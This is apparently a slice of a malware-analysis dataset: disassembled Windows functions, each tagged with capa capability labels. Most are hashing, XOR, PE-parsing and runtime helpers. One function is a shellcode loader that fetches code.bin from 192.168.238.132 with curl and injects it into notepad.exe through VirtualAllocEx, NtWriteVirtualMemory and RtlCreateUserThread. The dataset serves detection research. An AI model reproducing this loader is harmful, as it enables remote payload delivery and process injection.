joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140095a60
Capabilities:
Hash data using sha256

Disassembly:
test rcx, rcx
jne 0x140094b0b
mov eax, 0xffffff53
ret
xor eax, eax
mov dword [rcx], 0x6a09e667
mov qword [rcx + 0x60], rax
mov dword [rcx + 0x68], eax
mov dword [rcx + 4], 0xbb67ae85
mov dword [rcx + 8], 0x3c6ef372
mov dword [rcx + 0xc], 0xa54ff53a
mov dword [rcx + 0x10], 0x510e527f
mov dword [rcx + 0x14], 0x9b05688c
mov dword [rcx + 0x18], 0x1f83d9ab
mov dword [rcx + 0x1c], 0x5be0cd19
ret
xor edx, edx
lea r8d, [rdx - 2]
jmp 0x140095a70
test rcx, rcx
jne 0x140095a7b
mov eax, 0xffffff53
ret
mov qword [rcx + 0x70], rdx
jmp 0x140094b00

Function at 0x140095a90
Capabilities:
Hash data using sha256

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rdx
mov rbx, rcx
test rcx, rcx
je 0x140095bb5
test rdx, rdx
je 0x140095bb5
call fcn.140094b50
test eax, eax
jne 0x140095bba
mov eax, dword [rbx]
mov ecx, eax
ror ecx, 8
and ecx, 0xff00ff00
rol eax, 8
and eax, 0xff00ff
or ecx, eax
mov eax, dword [rbx + 4]
mov dword [rbx], ecx
mov ecx, eax
ror ecx, 8
and ecx, 0xff00ff00
rol eax, 8
and eax, 0xff00ff
or ecx, eax
mov eax, dword [rbx + 8]
mov dword [rbx + 4], ecx
mov ecx, eax
ror ecx, 8
and ecx, 0xff00ff00
rol eax, 8
and eax, 0xff00ff
or ecx, eax
mov eax, dword [rbx + 0xc]
mov dword [rbx + 8], ecx
mov ecx, eax
ror ecx, 8
and ecx, 0xff00ff00
rol eax, 8
and eax, 0xff00ff
or ecx, eax
mov eax, dword [rbx + 0x10]
mov dword [rbx + 0xc], ecx
mov ecx, eax
ror ecx, 8
and ecx, 0xff00ff00
rol eax, 8
and eax, 0xff00ff
or ecx, eax
mov eax, dword [rbx + 0x14]
mov dword [rbx + 0x10], ecx
mov ecx, eax
ror ecx, 8
and ecx, 0xff00ff00
rol eax, 8
and eax, 0xff00ff
or ecx, eax
mov eax, dword [rbx + 0x18]
mov dword [rbx + 0x14], ecx
mov ecx, eax
ror ecx, 8
and ecx, 0xff00ff00
rol eax, 8
and eax, 0xff00ff
or ecx, eax
mov eax, dword [rbx + 0x1c]
mov dword [rbx + 0x18], ecx
mov ecx, eax
ror ecx, 8
and ecx, 0xff00ff00
rol eax, 8
and eax, 0xff00ff
or ecx, eax
mov dword [rbx + 0x1c], ecx
mov rcx, rbx
movups xmm0, xmmword [rbx]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp 0x140094b00
mov eax, 0xffffff53
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140095bf0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 8
xor eax, eax
mov r10, rcx
mov r9d, eax
test r8d, r8d
jle 0x140095ccc
cmp r8d, 8
jb 0x140095ccc
mov ecx, r8d
mov qword [rsp], rbx
xorps xmm4, xmm4
xorps xmm3, xmm3
and ecx, 0x80000007
jge 0x140095c2b
dec ecx
or ecx, 0xfffffff8
inc ecx
mov eax, r8d
mov r11, rdx
sub eax, ecx
mov rcx, r10
sub rcx, rdx
movsxd rbx, eax
nop dword [rax]
movd xmm2, dword [rcx + r11]
xorps xmm0, xmm0
movd xmm1, dword [r11]
add r9d, 8
punpcklbw xmm2, xmm0
punpcklwd xmm2, xmm0
punpcklbw xmm1, xmm0
punpcklwd xmm1, xmm0
pxor xmm2, xmm1
movd xmm1, dword [r11 + 4]
por xmm2, xmm4
punpcklbw xmm1, xmm0
movdqa xmm4, xmm2
punpcklwd xmm1, xmm0
movd xmm2, dword [rcx + r11 + 4]
add r11, 8
punpcklbw xmm2, xmm0
mov rax, r11
punpcklwd xmm2, xmm0
sub rax, rdx
pxor xmm2, xmm1
por xmm2, xmm3
movdqa xmm3, xmm2
cmp rax, rbx
jl 0x140095c40
mov rbx, qword [rsp]
por xmm3, xmm4
movdqa xmm0, xmm3
psrldq xmm0, 8
por xmm3, xmm0
movdqa xmm0, xmm3
psrldq xmm0, 4
por xmm3, xmm0
movd eax, xmm3
movsxd r11, r9d
movsxd r9, r8d
cmp r11, r9
jge 0x140095cf9
sub r10, rdx
lea rcx, [r11 + rdx]
sub r9, r11
movzx r8d, byte [rcx + r10]
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
xor r8d, edx
or eax, r8d
sub r9, 1
jne 0x140095ce1
add rsp, 8
ret

Function at 0x140096cf0
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
test byte [0x140bc1640], 8
mov edi, r8d
mov rsi, rdx
mov rbx, rcx
je 0x140096d1c
xor ecx, ecx
call fcn.140096da0
test eax, eax
je 0x140096d83
mov r9d, 1
mov dword [rsp + 0x20], 0xf0000000
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x140096d51
mov eax, 0xffffff99
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov rcx, qword [rbx]
mov r8, rsi
mov edx, edi
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x140096d78
mov eax, 0xffffff98
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov rcx, qword [rbx]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rbx, qword [rsp + 0x40]
xor eax, eax
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x1400970e0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0xf0
mov rax, qword [0x1403b3e38]
xor rax, rsp
mov qword [rsp + 0xe0], rax
mov dword [rsp + 0x30], 0x80
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov r8d, 0x30
test ecx, ecx
je 0x1400971f6
lea r9, [0x1401ec590]
mov dword [rsp + 0x20], 0x20
lea rdx, str.c63w
lea ecx, [r8 - 0x2f]
call fcn.140097080
mov ecx, eax
test eax, eax
jne 0x140097333
xorps xmm4, xmm4
lea rax, [0x1401ec5b0]
xorps xmm3, xmm3
xor ebx, ebx
nop dword [rax]
nop word [rax + rax]
movd xmm2, dword [rbx + rax]
xorps xmm0, xmm0
movd xmm1, dword [rsp + rbx + 0x60]
punpcklbw xmm2, xmm0
punpcklwd xmm2, xmm0
punpcklbw xmm1, xmm0
punpcklwd xmm1, xmm0
pxor xmm2, xmm1
movd xmm1, dword [rsp + rbx + 0x64]
por xmm2, xmm4
punpcklbw xmm1, xmm0
movdqa xmm4, xmm2
punpcklwd xmm1, xmm0
movd xmm2, dword [rbx + rax + 4]
add rbx, 8
punpcklbw xmm2, xmm0
punpcklwd xmm2, xmm0
pxor xmm2, xmm1
por xmm2, xmm3
movdqa xmm3, xmm2
cmp rbx, 0x80
jl 0x140097160
por xmm3, xmm4
movdqa xmm0, xmm3
psrldq xmm0, 8
por xmm3, xmm0
movdqa xmm0, xmm3
psrldq xmm0, 4
por xmm3, xmm0
movd eax, xmm3
test eax, eax
je 0x1400971ef
mov eax, 0xffffffff
jmp 0x140097333
mov eax, ecx
jmp 0x140097333
xor ebx, ebx
lea rdx, [0x1401ec630]
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call fcn.140097080
test eax, eax
jne 0x140097333
mov qword [rsp + 0x100], rdi
xorps xmm4, xmm4
lea rdi, [0x1401ec660]
xorps xmm3, xmm3
mov eax, ebx
nop dword [rax]
movd xmm2, dword [rax + rdi]
xorps xmm0, xmm0
movd xmm1, dword [rsp + rax + 0x60]
punpcklbw xmm2, xmm0
punpcklwd xmm2, xmm0
punpcklbw xmm1, xmm0
punpcklwd xmm1, xmm0
pxor xmm2, xmm1
movd xmm1, dword [rsp + rax + 0x64]
por xmm2, xmm4
punpcklbw xmm1, xmm0
movdqa xmm4, xmm2
punpcklwd xmm1, xmm0
movd xmm2, dword [rax + rdi + 4]
add rax, 8
punpcklbw xmm2, xmm0
punpcklwd xmm2, xmm0
pxor xmm2, xmm1
por xmm2, xmm3
movdqa xmm3, xmm2
cmp rax, 0x80
jl 0x140097230
por xmm3, xmm4
movdqa xmm0, xmm3
psrldq xmm0, 8
por xmm3, xmm0
movdqa xmm0, xmm3
psrldq xmm0, 4
por xmm3, xmm0
movd eax, xmm3
test eax, eax
je 0x1400972bb
mov eax, 0xffffffff
jmp 0x14009732b
mov dword [rsp + 0x50], 0xfffffffe
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rbx
lea r9, [0x1401ec630]
mov dword [rsp + 0x40], 0x80
lea rdx, [0x1401ec650]
mov qword [rsp + 0x38], rax
mov r8d, 0x10
mov dword [rsp + 0x30], ebx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x20
call fcn.140097350
mov ebx, eax
test eax, eax
jne 0x14009732b
mov r8d, 0x80
lea rcx, [rsp + 0x60]
mov rdx, rdi
call fcn.140095bf0
test eax, eax
mov ecx, 0xffffffff
cmovne ebx, ecx
mov eax, ebx
mov rdi, qword [rsp + 0x100]
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.140099470
add rsp, 0xf0
pop rbx
ret
Function at 0x1400974a0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
xor ebx, ebx
mov esi, edx
xor r11d, r11d
mov edi, edx
mov rbp, rcx
add rsi, 0xfffffffffffffff8
je 0x14009753d
mov qword [rsp + 0x10], r14
lea eax, [rdi - 8]
mov r14d, 8
mov edx, r14d
cmp rsi, rdx
cmovbe edx, eax
nop dword [rax]
xor r8d, r8d
test edx, edx
jle 0x14009751c
mov eax, r11d
add rax, rbp
mov r10d, edx
mov r9d, edx
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [rax + r10]
movzx ecx, byte [rax]
lea rax, [rax + 1]
xor edx, ecx
or r8d, edx
sub r9, 1
jne 0x140097500
test r8d, r8d
jne 0x140097521
mov ebx, 3
add r11d, r14d
mov edx, edi
sub edx, r11d
mov ecx, r11d
cmp edx, r14d
cmova edx, r14d
cmp rcx, rsi
jb 0x1400974e0
mov r14, qword [rsp + 0x10]
mov rbp, qword [rsp + 0x20]
mov eax, ebx
mov rbx, qword [rsp + 0x18]
mov rsi, qword [rsp + 0x28]
pop rdi
ret
Function at 0x6d8be310
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x6d8df5e4]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x6d8be498
mov rax, qword [0x6d8df5e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x6d8be35c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x6d8be3e5
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x6d8be340
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x6d8be4cd
mov rax, qword [0x6d8df5e8]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6d8df5e8]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6d8be4b0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x6d8be3de
sub eax, 0x40
and eax, 0xffffffbf
jne 0x6d8be440
add dword [0x6d8df5e4], 1
cmp edi, 8
jae 0x6d8be413
test dil, 4
jne 0x6d8be484
test edi, edi
je 0x6d8be408
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x6d8be49f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x6d8be408
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x6d8be42c
jmp 0x6d8be408
add rsi, qword [0x6d8df5e8]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6d8be3de
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x6d8be408
xor esi, esi
jmp 0x6d8be367
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x6d8be408
mov rax, qword [0x6d8df5e8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x6d8bec20
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6d8df8c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6d8df8a0]
test rbx, rbx
je 0x6d8bec74
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x6d8bec6b
test rsi, rsi
je 0x6d8bec6b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6d8bec50
lea rcx, [0x6d8df8c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x6d8beeb0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x6d8beec0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x6d8beed0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x6d8bef11
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x6d8bef08
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x6d8bef13
add rax, 0x28
cmp rax, r9
jne 0x6d8beef4
xor eax, eax
ret

Function at 0x6d8befb0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d8dc1f0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x6d8bf01d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8bf01d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d8bf01d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d8bf014
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d8bf01f
add rax, 0x28
cmp rax, r9
jne 0x6d8bf000
xor eax, eax
add rsp, 0x28
ret

Function at 0x6d8bf120
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d8dc1f0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x6d8bf140
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8bf138
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d8bf19d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d8bf194
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d8bf1a4
add rax, 0x28
cmp rax, r9
jne 0x6d8bf180
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x6d8bf1c0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x6d8dc1f0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x6d8bf22e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8bf22e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x6d8bf22e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6d8bf22e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x6d8bf225
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x6d8bf235
add rcx, 0x28
cmp rcx, rax
jne 0x6d8bf210
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x6d8bf248
jmp 0x6d8bf22e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x6d8bf256
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x6d8bf22e
test r9d, r9d
jg 0x6d8bf240
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x6d8bf5c0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x14001120d
Capabilities:
Terminate process

Disassembly:
jmp 0x1400136a0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001128f
Capabilities:
Allocate or change rwx memory
Execute command
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
jmp 0x140011ea0
push rbp
push rdi
sub rsp, 0x548
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0xde
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001e008]
xor rax, rbp
mov qword [rbp + 0x4e0], rax
lea rcx, [0x1400240fa]
call fcn.1400113c0
lea rax, str.curl_http:__192.168.238.132:8000_code.bin
mov qword [rbp + 0x28], rax
mov byte [rbp + 0x44], 0
mov dword [rbp + 0x64], 0
lea rdx, [0x14001ac10]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll__popen]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140011f27
lea rcx, str.popen___failed
call qword [sym.imp.ucrtbased.dll_perror]
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
mov r9, qword [rbp + 8]
mov r8d, 1
mov edx, 1
lea rcx, [rbp + 0x44]
call qword [sym.imp.ucrtbased.dll_fread]
test rax, rax
je 0x140011f5e
movsxd rax, dword [rbp + 0x64]
movzx ecx, byte [rbp + 0x44]
mov byte [rbp + rax + 0x90], cl
mov eax, dword [rbp + 0x64]
inc eax
mov dword [rbp + 0x64], eax
jmp 0x140011f27
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll__pclose]
lea rcx, [0x14001ac18]
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.notepad.exe
call fcn.14001132a
mov dword [rbp + 0x2a4], eax
mov dword [rbp + 0x2c4], 0
mov qword [rbp + 0x2e8], 0
mov qword [rbp + 0x308], 0
mov qword [rbp + 0x328], 0
mov qword [rbp + 0x348], 0x1fe
call fcn.1400112f8
mov edx, dword [rbp + 0x2a4]
mov ecx, 0x1fffff
call fcn.14001137a
mov qword [rbp + 0x308], rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, qword [rbp + 0x348]
xor edx, edx
mov rcx, qword [rbp + 0x308]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x2e8], rax
mov rax, qword [0x14001e190]
mov qword [rbp + 0x4d8], rax
mov qword [rsp + 0x20], 0
mov r9d, dword [rbp + 0x348]
lea r8, [rbp + 0x90]
mov rdx, qword [rbp + 0x2e8]
mov rcx, qword [rbp + 0x308]
call qword [rbp + 0x4d8]
mov rax, qword [0x14001e188]
mov qword [rbp + 0x4d8], rax
mov qword [rsp + 0x48], 0
lea rax, [rbp + 0x328]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov rax, qword [rbp + 0x2e8]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x308]
call qword [rbp + 0x4d8]
call qword [sym.imp.ucrtbased.dll_getchar]
jmp 0x1400120a6
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001aeb0]
call fcn.14001134d
mov rax, rdi
mov rcx, qword [rbp + 0x4e0]
xor rcx, rbp
call fcn.1400111c7
lea rsp, [rbp + 0x4f8]
pop rdi
pop rbp
ret
Function at 0x140011299
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400149f0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014a10
xor al, al
jmp 0x140014a91
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014a23
xor al, al
jmp 0x140014a91
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014a4d
xor al, al
jmp 0x140014a91
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014a61
xor al, al
jmp 0x140014a91
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014a73
xor al, al
jmp 0x140014a91
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014a8f
xor al, al
jmp 0x140014a91
mov al, 1
add rsp, 0x38
ret
Function at 0x1400112f8
Capabilities:
Link many functions at runtime

Disassembly:
jmp 0x140011a00
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x1400240fa]
call fcn.1400113c0
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140011a3a
xor eax, eax
jmp 0x140011b22
lea rdx, str.NtOpenProcess
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14001e170], rax
cmp qword [0x14001e170], 0
jne 0x140011a6f
lea rcx, str.____Could_not_get_ntOpenProcess_n
call fcn.1400111a9
xor eax, eax
jmp 0x140011b22
lea rdx, str.NtWriteVirtualMemory
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14001e190], rax
lea rdx, str.NtCreateSection
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14001e178], rax
cmp qword [0x14001e178], 0
jne 0x140011ab9
lea rcx, str.____Could_not_get_fNtCreateSection_n
call fcn.1400111a9
xor eax, eax
jmp 0x140011b22
lea rdx, str.NtMapViewOfSection
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14001e180], rax
cmp qword [0x14001e180], 0
jne 0x140011aeb
lea rcx, str.____Could_not_get_fNtMapViewOfSection_n
call fcn.1400111a9
xor eax, eax
jmp 0x140011b22
lea rdx, str.RtlCreateUserThread
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14001e188], rax
cmp qword [0x14001e188], 0
jne 0x140011b1d
lea rcx, str.____Could_not_get_fRtlCreateUserThread_n
call fcn.1400111a9
xor eax, eax
jmp 0x140011b22
mov eax, 1
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x14001132a
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140011870
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x298
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x6e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x2b8]
mov rax, qword [0x14001e008]
xor rax, rbp
mov qword [rbp + 0x268], rax
lea rcx, [0x1400240fa]
call fcn.1400113c0
mov dword [rbp + 0x174], 0
xor edx, edx
mov ecx, 2
call fcn.1400111b3
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x1400118e1
xor eax, eax
jmp 0x140011980
mov dword [rbp + 0x30], 0x130
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.14001133e
test eax, eax
je 0x140011902
mov byte [rbp + 0x264], 1
jmp 0x140011909
mov byte [rbp + 0x264], 0
movzx eax, byte [rbp + 0x264]
mov byte [rbp + 0x194], al
movzx eax, byte [rbp + 0x194]
test eax, eax
je 0x140011970
lea rdx, [rbp + 0x5c]
mov rcx, qword [rbp + 0x290]
call fcn.14001142e
test eax, eax
jne 0x140011940
mov eax, dword [rbp + 0x38]
mov dword [rbp + 0x174], eax
jmp 0x140011970
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.1400113ca
test eax, eax
je 0x14001195a
mov byte [rbp + 0x264], 1
jmp 0x140011961
mov byte [rbp + 0x264], 0
movzx eax, byte [rbp + 0x264]
mov byte [rbp + 0x194], al
jmp 0x140011916
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x174]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ada0]
call fcn.14001134d
mov rax, rdi
mov rcx, qword [rbp + 0x268]
xor rcx, rbp
call fcn.1400111c7
lea rsp, [rbp + 0x278]
pop rdi
pop rbp
ret